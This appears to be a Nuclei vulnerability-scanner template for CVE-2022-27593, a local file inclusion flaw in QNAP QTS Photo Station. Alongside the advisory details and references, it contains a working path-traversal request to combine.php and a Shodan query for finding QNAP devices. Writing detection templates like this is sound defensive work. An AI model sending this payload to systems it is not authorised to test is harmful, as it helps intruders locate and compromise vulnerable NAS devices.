49 lines
1.9 KiB
YAML
49 lines
1.9 KiB
YAML
id: CVE-2022-27593
|
|
|
|
info:
|
|
name: QNAP QTS Photo Station External Reference - Local File Inclusion
|
|
author: allenwest24
|
|
severity: critical
|
|
description: |
|
|
QNAP QTS Photo Station External Reference is vulnerable to local file inclusion via an externally controlled reference to a resource vulnerability. If exploited, this could allow an attacker to modify system files. The vulnerability is fixed in the following versions: QTS 5.0.1: Photo Station 6.1.2 and later QTS 5.0.0/4.5.x: Photo Station 6.0.22 and later QTS 4.3.6: Photo Station 5.7.18 and later QTS 4.3.3: Photo Station 5.4.15 and later QTS 4.2.6: Photo Station 5.2.14 and later.
|
|
remediation: |
|
|
Apply the latest security patches and updates provided by QNAP to fix the local file inclusion vulnerability in QTS Photo Station.
|
|
reference:
|
|
- https://attackerkb.com/topics/7We3SjEYVo/cve-2022-27593
|
|
- https://www.qnap.com/en/security-advisory/qsa-22-24
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-27593
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
|
|
cvss-score: 9.1
|
|
cve-id: CVE-2022-27593
|
|
cwe-id: CWE-610
|
|
epss-score: 0.39295
|
|
epss-percentile: 0.96811
|
|
cpe: cpe:2.3:a:qnap:photo_station:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
vendor: qnap
|
|
product: photo_station
|
|
shodan-query: title:"QNAP"
|
|
tags: cve,cve2022,qnap,lfi,kev
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/photo/combine.php?type=javascript&g=core-r7rules/../../../hello.php."
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: response
|
|
words:
|
|
- "!function(p,qa){"
|
|
- "module.exports"
|
|
- "application/javascript"
|
|
condition: and
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 490a004630440220460d50b638c569c82a33fcf6d581b6ec38084df7b6e16bcb684a6085584a527802203ad4206570ab07437d7513ba5be0ad2a38bd292e4d39eb290cacaeb2537b36e2:922c64590222798bb761d5b6d8e72950 |